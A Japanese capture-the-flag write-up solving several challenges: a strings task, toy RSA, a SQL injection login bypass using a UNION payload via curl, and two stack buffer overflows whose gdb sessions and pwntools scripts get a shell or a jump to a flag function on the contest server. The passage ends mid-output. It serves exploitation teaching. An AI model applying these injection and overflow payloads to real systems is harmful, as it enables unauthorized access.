0x5555555549a2:	""
0x5555555549a3:	""
0x5555555549a4:	"1"
0x5555555549a6:	""
0x5555555549a7:	""
0x5555555549a8:	"n"
0x5555555549aa:	""
0x5555555549ab:	""
0x5555555549ac:	"n"
0x5555555549ae:	""
0x5555555549af:	""
0x5555555549b0:	"y"
0x5555555549b2:	""
0x5555555549b3:	""
0x5555555549b4:	"}"
0x5555555549b6:	""
0x5555555549b7:	""
0x5555555549b8:	""
0x5555555549b9:	""
0x5555555549ba:	""
0x5555555549bb:	""

レジスタRAXのアドレス以降に入っている文字を連結する。

flag{n0t_al1_str1ngs_ar3_sk1nny}

baby (crypto)

RSA暗号。nをfactordbで素因数分解する。

n = 228430203128652625114739053365339856393
  = 12546190522253739887 * 18207136478875858439

あとはそのまま復号する。

from Crypto.Util.number import *

n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790
p = 12546190522253739887
q = 18207136478875858439

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
flag{68ab82df34}

secure (web)

スクリプトからログインできたらフラグが表示されることがわかる。

$ curl -X POST -d 'username=admin&password=a' https://secure.mc.ax/login
Found. Redirecting to /?message=Incorrect%20username%20or%20password.%20Query:%20SELECT%20id%20FROM%20users%20WHERE%0A%20%20%20%20%20%20%20%20%20%20username%20=%20'admin'%20AND%0A%20%20%20%20%20%20%20%20%20%20password%20=%20'a';

URLデコードする。

/?message=Incorrect username or password. Query: SELECT id FROM users WHERE
          username = 'admin' AND
          password = 'a';

クエリがわかる。SQL文の途中に改行があるため、passwordの行でコメントを使って、SQLインジェクションを行う。

$ curl -X POST -d "username=admin&password=' UNION SELECT 1 --" https://secure.mc.ax/login
Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

beginner-generic-pwn-number-0 (pwn)

BOFでinspirational_message_indexを上書き、-1になるようにする。

$ file beginner-generic-pwn-number-0 
beginner-generic-pwn-number-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=954a4064a32902a83a98f211211c5eafdef2b3c0, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./beginner-generic-pwn-number-0
Reading symbols from ./beginner-generic-pwn-number-0...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x4011f6 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x4012c0 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf08 --> 0x7fffffffe265 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdef8 --> 0x7fffffffe236 ("/mnt/hgfs/Shared/beginner-generic-pwn-number-0")
RDI: 0x1 
RBP: 0x4012c0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x4011f6 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x401110 (<_start>:	endbr64)
R13: 0x7fffffffdef0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011ec <__do_global_dtors_aux+44>:	nop    DWORD PTR [rax+0x0]
   0x4011f0 <frame_dummy>:	endbr64 
   0x4011f4 <frame_dummy+4>:	jmp    0x401180 <register_tm_clones>
=> 0x4011f6 <main>:	endbr64 
   0x4011fa <main+4>:	push   rbp
   0x4011fb <main+5>:	mov    rbp,rsp
   0x4011fe <main+8>:	sub    rsp,0x30
   0x401202 <main+12>:	mov    edi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde20 --> 0x1 
0016| 0x7fffffffde28 --> 0x7fffffffdef8 --> 0x7fffffffe236 ("/mnt/hgfs/Shared/beginner-generic-pwn-number-0")
0024| 0x7fffffffde30 --> 0x100008000 
0032| 0x7fffffffde38 --> 0x4011f6 (<main>:	endbr64)
0040| 0x7fffffffde40 --> 0x0 
0048| 0x7fffffffde48 --> 0xdf4a7506815ae20d 
0056| 0x7fffffffde50 --> 0x401110 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x00000000004011f6 in main ()
gdb-peda$ b main
Breakpoint 2 at 0x4011f6
gdb-peda$ q
ctf@ctf-virtual-machine:/mnt/hgfs/Shared$ gdb -q ./beginner-generic-pwn-number-0
Reading symbols from ./beginner-generic-pwn-number-0...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x4011f6 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x4012c0 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf08 --> 0x7fffffffe265 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdef8 --> 0x7fffffffe236 ("/mnt/hgfs/Shared/beginner-generic-pwn-number-0")
RDI: 0x1 
RBP: 0x4012c0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x4011f6 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x401110 (<_start>:	endbr64)
R13: 0x7fffffffdef0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011ec <__do_global_dtors_aux+44>:	nop    DWORD PTR [rax+0x0]
   0x4011f0 <frame_dummy>:	endbr64 
   0x4011f4 <frame_dummy+4>:	jmp    0x401180 <register_tm_clones>
=> 0x4011f6 <main>:	endbr64 
   0x4011fa <main+4>:	push   rbp
   0x4011fb <main+5>:	mov    rbp,rsp
   0x4011fe <main+8>:	sub    rsp,0x30
   0x401202 <main+12>:	mov    edi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde20 --> 0x1 
0016| 0x7fffffffde28 --> 0x7fffffffdef8 --> 0x7fffffffe236 ("/mnt/hgfs/Shared/beginner-generic-pwn-number-0")
0024| 0x7fffffffde30 --> 0x100008000 
0032| 0x7fffffffde38 --> 0x4011f6 (<main>:	endbr64)
0040| 0x7fffffffde40 --> 0x0 
0048| 0x7fffffffde48 --> 0x2c813c5a2d2779ff 
0056| 0x7fffffffde50 --> 0x401110 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x00000000004011f6 in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
=> 0x00000000004011f6 <+0>:	endbr64 
   0x00000000004011fa <+4>:	push   rbp
   0x00000000004011fb <+5>:	mov    rbp,rsp
   0x00000000004011fe <+8>:	sub    rsp,0x30
   0x0000000000401202 <+12>:	mov    edi,0x0
   0x0000000000401207 <+17>:	mov    eax,0x0
   0x000000000040120c <+22>:	call   0x4010e0 <time@plt>
   0x0000000000401211 <+27>:	mov    edi,eax
   0x0000000000401213 <+29>:	call   0x4010d0 <srand@plt>
   0x0000000000401218 <+34>:	call   0x401100 <rand@plt>
   0x000000000040121d <+39>:	cdqe   
   0x000000000040121f <+41>:	and    eax,0x1
   0x0000000000401222 <+44>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401226 <+48>:	mov    rax,QWORD PTR [rip+0x2e53]        # 0x404080 <stdout@@GLIBC_2.2.5>
   0x000000000040122d <+55>:	mov    esi,0x0
   0x0000000000401232 <+60>:	mov    rdi,rax
   0x0000000000401235 <+63>:	call   0x4010b0 <setbuf@plt>
   0x000000000040123a <+68>:	mov    rax,QWORD PTR [rip+0x2e4f]        # 0x404090 <stdin@@GLIBC_2.2.5>
   0x0000000000401241 <+75>:	mov    esi,0x0
   0x0000000000401246 <+80>:	mov    rdi,rax
   0x0000000000401249 <+83>:	call   0x4010b0 <setbuf@plt>
   0x000000000040124e <+88>:	mov    rax,QWORD PTR [rip+0x2e4b]        # 0x4040a0 <stderr@@GLIBC_2.2.5>
   0x0000000000401255 <+95>:	mov    esi,0x0
   0x000000000040125a <+100>:	mov    rdi,rax
   0x000000000040125d <+103>:	call   0x4010b0 <setbuf@plt>
   0x0000000000401262 <+108>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401266 <+112>:	lea    rdx,[rax*8+0x0]
   0x000000000040126e <+120>:	lea    rax,[rip+0x2deb]        # 0x404060 <inspirational_messages>
   0x0000000000401275 <+127>:	mov    rax,QWORD PTR [rdx+rax*1]
   0x0000000000401279 <+131>:	mov    rdi,rax
   0x000000000040127c <+134>:	call   0x4010a0 <puts@plt>
   0x0000000000401281 <+139>:	lea    rdi,[rip+0xec8]        # 0x402150
   0x0000000000401288 <+146>:	call   0x4010a0 <puts@plt>
   0x000000000040128d <+151>:	lea    rdi,[rip+0xf1c]        # 0x4021b0
   0x0000000000401294 <+158>:	call   0x4010a0 <puts@plt>
   0x0000000000401299 <+163>:	lea    rax,[rbp-0x30]
   0x000000000040129d <+167>:	mov    rdi,rax
   0x00000000004012a0 <+170>:	call   0x4010f0 <gets@plt>
   0x00000000004012a5 <+175>:	cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff
   0x00000000004012aa <+180>:	jne    0x4012b8 <main+194>
   0x00000000004012ac <+182>:	lea    rdi,[rip+0xf35]        # 0x4021e8
   0x00000000004012b3 <+189>:	call   0x4010c0 <system@plt>
   0x00000000004012b8 <+194>:	mov    eax,0x0
   0x00000000004012bd <+199>:	leave  
   0x00000000004012be <+200>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004012a5
Breakpoint 2 at 0x4012a5
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ c
Continuing.
"&#120365;&#120358;&#120373;&#120372; &#120355;&#120371;&#120358;&#120354;&#120364; &#120373;&#120361;&#120358; &#120373;&#120371;&#120354;&#120357;&#120362;&#120373;&#120362;&#120368;&#120367; &#120368;&#120359; &#120365;&#120354;&#120372;&#120373; &#120366;&#120362;&#120367;&#120374;&#120373;&#120358; &#120356;&#120361;&#120354;&#120365;&#120365; &#120376;&#120371;&#120362;&#120373;&#120362;&#120367;&#120360;"
rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
can you write me a heartfelt message to cheer me up? :(
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdde0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad208b 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x7ffff7dcda83 --> 0xdcf8d0000000000a 
RDI: 0x0 
RBP: 0x7fffffffde10 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RSP: 0x7fffffffdde0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4012a5 (<main+175>:	cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fd84c0 (0x00007ffff7fd84c0)
R10: 0x3 
R11: 0x246 
R12: 0x401110 (<_start>:	endbr64)
R13: 0x7fffffffdef0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401299 <main+163>:	lea    rax,[rbp-0x30]
   0x40129d <main+167>:	mov    rdi,rax
   0x4012a0 <main+170>:	call   0x4010f0 <gets@plt>
=> 0x4012a5 <main+175>:	cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff
   0x4012aa <main+180>:	jne    0x4012b8 <main+194>
   0x4012ac <main+182>:	lea    rdi,[rip+0xf35]        # 0x4021e8
   0x4012b3 <main+189>:	call   0x4010c0 <system@plt>
   0x4012b8 <main+194>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdde0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdde8 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffddf0 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffddf8 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffde00 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffde08 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffde10 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffde18 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00000000004012a5 in main ()
gdb-peda$ patto bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL★RBP
bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 48

RBP-0x8のアドレスにある値と比較しているので、40バイトの後0xffffffffffffffffをセットすればよい。

from pwn import *

if len(sys.argv) == 1:
    p = remote('mc.ax', 31199)
else:
    p = process('./beginner-generic-pwn-number-0')

payload = 'A' * 40
payload += p64(0xffffffffffffffff)

data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to mc.ax on port 31199: Done
"&#120365;&#120358;&#120373;&#120372; &#120355;&#120371;&#120358;&#120354;&#120364; &#120373;&#120361;&#120358; &#120373;&#120371;&#120354;&#120357;&#120362;&#120373;&#120362;&#120368;&#120367; &#120368;&#120359; &#120365;&#120354;&#120372;&#120373; &#120366;&#120362;&#120367;&#120374;&#120373;&#120358; &#120356;&#120361;&#120354;&#120365;&#120365; &#120376;&#120371;&#120362;&#120373;&#120362;&#120367;&#120360;"
rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
can you write me a heartfelt message to cheer me up? :(
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\xff
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}
flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}

ret2generic-flag-reader (pwn)

BOFでsuper_generic_flag_reading_function_please_ret_to_me関数に飛ばすようにする。

$ file ret2generic-flag-reader 
ret2generic-flag-reader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c749a16c9546cfe2cab694374c7d003c2bbb52f3, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./ret2generic-flag-reader
Reading symbols from ./ret2generic-flag-reader...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010a0  puts@plt
0x00000000004010b0  fclose@plt
0x00000000004010c0  setbuf@plt
0x00000000004010d0  fgets@plt
0x00000000004010e0  gets@plt
0x00000000004010f0  fopen@plt
0x0000000000401100  exit@plt
0x0000000000401110  _start
0x0000000000401140  _dl_relocate_static_pie
0x0000000000401150  deregister_tm_clones
0x0000000000401180  register_tm_clones
0x00000000004011c0  __do_global_dtors_aux
0x00000000004011f0  frame_dummy
0x00000000004011f6  super_generic_flag_reading_function_please_ret_to_me
0x00000000004013a5  main
0x0000000000401430  __libc_csu_init
0x00000000004014a0  __libc_csu_fini
0x00000000004014a8  _fini
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x4013a5 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x401430 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf18 --> 0x7fffffffe26b ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdf08 --> 0x7fffffffe242 ("/mnt/hgfs/Shared/ret2generic-flag-reader")
RDI: 0x1 
RBP: 0x401430 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde28 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x4013a5 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x401110 (<_start>:	endbr64)
R13: 0x7fffffffdf00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4013a2 <super_generic_flag_reading_function_please_ret_to_me+428>:	nop
   0x4013a3 <super_generic_flag_reading_function_please_ret_to_me+429>:	
    leave  
   0x4013a4 <super_generic_flag_reading_function_please_ret_to_me+430>:	
    ret    
=> 0x4013a5 <main>:	endbr64 
   0x4013a9 <main+4>:	push   rbp
   0x4013aa <main+5>:	mov    rbp,rsp
   0x4013ad <main+8>:	sub    rsp,0x20
   0x4013b1 <main+12>:	
    mov    rax,QWORD PTR [rip+0x2ca8]        # 0x404060 <stdout@@GLIBC_2.2.5>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde28 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde30 --> 0x1 
0016| 0x7fffffffde38 --> 0x7fffffffdf08 --> 0x7fffffffe242 ("/mnt/hgfs/Shared/ret2generic-flag-reader")
0024| 0x7fffffffde40 --> 0x100008000 
0032| 0x7fffffffde48 --> 0x4013a5 (<main>:	endbr64)
0040| 0x7fffffffde50 --> 0x0 
0048| 0x7fffffffde58 --> 0x48185c2f2775a721 
0056| 0x7fffffffde60 --> 0x401110 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x00000000004013a5 in main ()
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ c
Continuing.
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad208b 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x7ffff7dcda83 --> 0xdcf8d0000000000a 
RDI: 0x0 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffde28 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x40142f (<main+138>:	ret)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fd84c0 (0x00007ffff7fd84c0)
R10: 0x3 
R11: 0x246 
R12: 0x401110 (<_start>:	endbr64)
R13: 0x7fffffffdf00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401424 <main+127>:	call   0x4010e0 <gets@plt>
   0x401429 <main+132>:	mov    eax,0x0
   0x40142e <main+137>:	leave  
=> 0x40142f <main+138>:	ret    
   0x401430 <__libc_csu_init>:	endbr64 
   0x401434 <__libc_csu_init+4>:	push   r15
   0x401436 <__libc_csu_init+6>:	
    lea    r15,[rip+0x29d3]        # 0x403e10
   0x40143d <__libc_csu_init+13>:	push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde28 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffde30 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffde38 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffde40 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffde48 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffde50 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffde58 ("AAKAAgAA6AAL")
0056| 0x7fffffffde60 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040142f in main ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

40バイトのあと、super_generic_flag_reading_function_please_ret_to_me関数のアドレス(0x4011f6)をセットすればよい。

from pwn import *

if len(sys.argv) == 1:
    p = remote('mc.ax', 31077)
else:
    p = process('./ret2generic-flag-reader')

payload = 'A' * 40
payload += p64(0x4011f6)

data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to mc.ax on port 31077: Done
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@\x00\x00
flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}
[*] Closed connection to mc.ax port 31077
flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}

round-the-bases (crypto)

次々と以下の順でデコードする。

・base85
・base64
・base16
・ASCII
・ASCII
・2進数デコード
#!/usr/bin/python3
from base64 import *

with open('round-the-bases', 'r') as f:
    data = f.read()

data = a85decode(data)
print('[+] 1:', data)
data = b64decode(data)
print('[+] 2:', data)
data = b16decode(data)
print('[+] 3:', data)
codes = map(int, data.split(b' '))
data = ''.join([chr(code) for code in codes]).encode()
print('[+] 4:', data)
codes = map(int, data.split(b' '))
data = ''.join([chr(code) for code in codes]).encode()
print('[+] 5:', data)
bin_code = data.replace(b'<', b'0').replace(b'=', b'1')
data = ''.join([chr(int(bin_code[i:i+8], 2)) for i in range(0, len(bin_code), 8)]).encode()
print('[*] flag:', data)

実行結果は以下の通り。

[+] 1: b'MzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUz